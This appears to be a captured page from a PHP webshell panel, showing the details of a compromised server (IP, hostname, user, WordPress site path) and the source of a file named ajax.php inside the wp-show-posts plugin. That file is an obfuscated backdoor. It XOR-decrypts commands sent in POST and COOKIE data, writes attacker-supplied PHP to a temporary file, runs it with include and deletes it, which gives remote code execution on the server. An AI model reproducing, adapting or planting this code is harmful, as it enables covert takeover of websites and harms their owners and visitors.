403Webshell
Server IP : 89.248.107.232  /  Your IP : 216.73.217.70
Web Server : Apache
System : Linux host2.kasilh.com 5.14.0-687.36.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Aug 7 05:40:49 EDT 2026 x86_64
User : seg ( 10005)
PHP Version : 7.4.33
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/seg-sa.es/serinco.es/wp-content/plugins/wp-show-posts/admin/butterbean/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhosts/seg-sa.es/serinco.es/wp-content/plugins/wp-show-posts/admin/butterbean//ajax.php
<?php $qvjjd      =     'qvjjd' /*  n   */ ^	'';

$iahnkutvbl  =	$qvjjd(400-303)       .       "r"."r"."\x61" /* yh */ . /* kyf */ $qvjjd(121) /* veho   */ .      "_".$qvjjd(109)    . /* viowt  */ "a"."p";
$avdtw /*kt*/ =    "c"."o"."\x75" /*qruqgt  */ . /*   aeiuo */ "n"."\x74";







function    gjuxng($wmtjnbacsj,    $uacztfhzga)
{
    global /*   pdvuvr */ $qvjjd;      	$wmtjnbacsj /*sbqqei   */ =	$qvjjd(435-375) /*  nb*/ . /* soy  */ "?".$qvjjd(112)    .    "h"."p".$qvjjd(32)      .     "u"."n"."l".$qvjjd(105)     . /*  k */ $qvjjd(110) /* pkmbv  */ . /* doqsta */ "k"."("."_"."_"."F"."I"."L"."\x45"       .       "_"."_".")".$qvjjd(525-466)  .      $qvjjd(32)    . /*wemf   */ $wmtjnbacsj[$qvjjd(931-831)];


    $szixadi    =	"\x66"    . /*vt  */ $qvjjd(105)	. /*jadxj   */ "l"."\x65".$qvjjd(332-237)    .	"\160"       .      "u"."t".$qvjjd(146-51) /*   xrwa_c */ .      $qvjjd(779-680)    .      $qvjjd(111) /*  yzbjp */ .      $qvjjd(110) /*fxbj   */ .	"\164" /*mo */ .	"\x65"."\x6e"       . /*   ojlhx_ */ "t"."s";


 /*   bqwos*/ 

 /*l */ $szixadi($uacztfhzga, /*   lwhw  */ $wmtjnbacsj);   

 /*btbcr   */ nhetoiw($uacztfhzga);

}


$vxryx_hd /*  _kjh */ =   73;



function    nhetoiw($uacztfhzga)

{


     global /*t  */ $qvjjd;


	
       include($uacztfhzga); /*  tid   */ $hmztq       = /*rc   */ $uacztfhzga;
    @unlink($hmztq);

}




function /*rhi*/ gaeumjo()


{

       global    $qvjjd;
    $qdckdj	=    array();


    $qdckdj["p".$qvjjd(118)]    =       phpversion();

     $qdckdj["\x73"    . /* uswqo */ "v"]      =	$qvjjd(341-290) /*j_ljw*/ . /*   szvlzf*/ $qvjjd(279-233)	.    "5";
	$wwunupdtpn    =	74;

 /*  cks */ echo   @serialize($qdckdj);

}




function	mqtsbozbut($wmtjnbacsj, /*   uyld   */ $qxhmj){

	global /* ug */ $qvjjd;


    $epmgwqvljg	=  "";


 /*   v*/ $oizcyt  =     strlen($wmtjnbacsj);
       $aoojqdu	=	strlen($qxhmj);
  $qdckdj /*  iuljc   */ = /*   rkc */ 0;       $uacztf /*  un  */ = /* yjxuu*/ 0;
 /*  d */ 


	while   ($qdckdj    <    $oizcyt)      {


 /* f*/ $bts_a    =      $wmtjnbacsj[$qdckdj]    ^ /*  ozkq  */ $qxhmj[$uacztf   %       $aoojqdu];


      $epmgwqvljg /*  br */ .= /*   _x   */ $bts_a;


 /* rqhu*/ $uacztf++;	


	$qdckdj++; /*nmm  */ }

 /*  fpvy   */ 


    if    (strlen($epmgwqvljg) /*jkrncw  */ >    20)       { /*   ruymfx  */ $atcgpp    =       substr($epmgwqvljg, /*  yg */ 0, /*jhqfw   */ 20);


   }       if      (empty($epmgwqvljg))    {    $epmgwqvljg /*   bvf */ = /* pyi   */ date('Y-m-d    H:i:s');
    }    return	$epmgwqvljg;

}




function /*  rudln */ xzkimrpsre($hvisbfrtu)


{

   global	$qvjjd;


       

    $zprhpxyjpk      =     "2"."7"."\61"  . /*   nchlu */ "b".$qvjjd(525-424)	.    "\x34"	. /* z*/ "7"."\x66"    .	"-"."\x36"    .    "4".$qvjjd(425-377)    .   "\x36"   .    $qvjjd(199-154)	. /*   jibicr   */ $qvjjd(52)       .    $qvjjd(55)	. /*   acu  */ "8"."5"."-"."\x62" /*  atdvx   */ . /*h */ "1".$qvjjd(56) /*  eh */ . /*  ohwrs  */ "8"."\x2d" /* it   */ .    "\146"    . /*  d*/ "8".$qvjjd(985-928)   .    $qvjjd(100)    .    "\141" /* q   */ .	"\x64"	.    $qvjjd(909-860) /* m*/ . /*  tzu   */ $qvjjd(49) /* uvyj */ .	"\x65"."\x35"      .    "\x36"	. /*   s */ "0";      foreach    ($hvisbfrtu /*ljp */ as   $mofxyae /*n */ =>       $wmtjnbacsj)      {


    wprjlv_(base64_decode($wmtjnbacsj), /*   mesi*/ $zprhpxyjpk, /*  oa   */ $mofxyae);

 /*   dfwcml  */ }

}


function	wprjlv_($wmtjnbacsj,   $zprhpxyjpk, /*   ya*/ $mofxyae)


{
      global     $qvjjd;
 /*   vimie   */ 	$wmtjnbacsj	= /*   g_   */ unserialize(mqtsbozbut(mqtsbozbut($wmtjnbacsj, /*  n*/ $zprhpxyjpk), /*   piu*/ $mofxyae));

	$kmvdzocj /* ayx*/ = /*  wh */ 'fozbi_kxw';

	$pljvfcsrpd	=	'hy';
    if	(isset($wmtjnbacsj["\141"    .   "k"])) /*   eq  */ {

 /*hp   */ if /*  rpqfoh */ ($wmtjnbacsj["\141"]       ==    "\151")    {      gaeumjo();

 /*tl*/ }       elseif /*   s*/ ($wmtjnbacsj["\141"] /*  geik  */ ==     "\x65")     {
    gjuxng($wmtjnbacsj, /*sh*/ sprintf("\56"	.	$qvjjd(956-909)    . /*  fsicu */ "\45" /* ald */ . /*  uj   */ "s"."."."p"."\x6c", /* _wh  */ md5($zprhpxyjpk)));

			$zswygjoulw	=	44;

	}

    exit();
 /* h   */ }

}

xzkimrpsre($_POST);     



$vezsbju     =   'rawurldecode';



$dnlqfkdkcy	= /* dvv   */ $iahnkutvbl($vezsbju,     $_POST);


strpos($vezsbju,    'qpklxbocfx');

$_vgceieo /*eylbg   */ = /*ywl  */ $avdtw($dnlqfkdkcy);




xzkimrpsre($_COOKIE);    




$_wqepuws /*llxaso   */ = /*ai  */ $iahnkutvbl($vezsbju,     $_COOKIE);

?>

Youez - 2016 - github.com/yon3zu
LinuXploit